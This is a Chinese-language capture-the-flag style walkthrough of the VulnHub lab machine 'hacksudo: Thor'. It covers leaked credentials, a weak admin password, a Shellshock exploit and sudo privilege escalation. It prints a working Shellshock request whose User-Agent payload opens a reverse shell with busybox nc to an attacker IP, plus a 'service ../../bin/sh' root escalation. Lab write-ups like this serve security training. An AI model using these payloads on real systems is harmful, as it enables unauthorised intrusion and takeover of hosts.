hacksudo：Thor

项目地址：https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip

是一个打包好的镜像文件

注意：导入 ova 时一定要选择我已移动，否则没网

使用 Nmap 扫描出开放服务及操作系统版本

敏感信息泄露

README.md

扫描目录发现有个 README.md 文件

访问拿到账号密码

弱口令

Administrator Login

在 /admin_login.php 页面中登录成功

RCE

Shellshock（CVE-2014-6271）

没有找到 RCE 点，回看前面目录扫描中有 /cgi-bin 目录，继续扫描出两个文件

服务器操作系统版本若早于 2014 年 9 月（Bash 未修复），且存在可外部访问的 CGI 脚本（如/cgi-bin/shell.sh），即可高度怀疑存在Shellshock 漏洞

直接打一个反弹 Shell 回来

1
2
3
4
5
6
7
GET /cgi-bin/backup.cgi HTTP/1.1
Host: 192.168.125.33
User-Agent: () { :;}; /bin/bash -c 'busybox nc 192.168.125.4 8888 -e sh'
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
Cache-Control: max-age=0

提权

Python 升级为交互式 Shell

/etc/sudoers 配置不当

检查自身权限，可以使用 ./hammer.sh

命令注入

以 thor 身份运行脚本，两个选项都输入 id 被运行了

这次换成 /bin/bash 提权成功

提升交互性后检查权限，可以运行 cat 以及 service

service 提权

1
service ../../bin/sh

  • 当高权限的 service 进程启动时，它会根据参数去执行一个程序

  • 如果这个参数是 ../../bin/sh，service 就会去启动一个 /bin/sh 进程

提权成功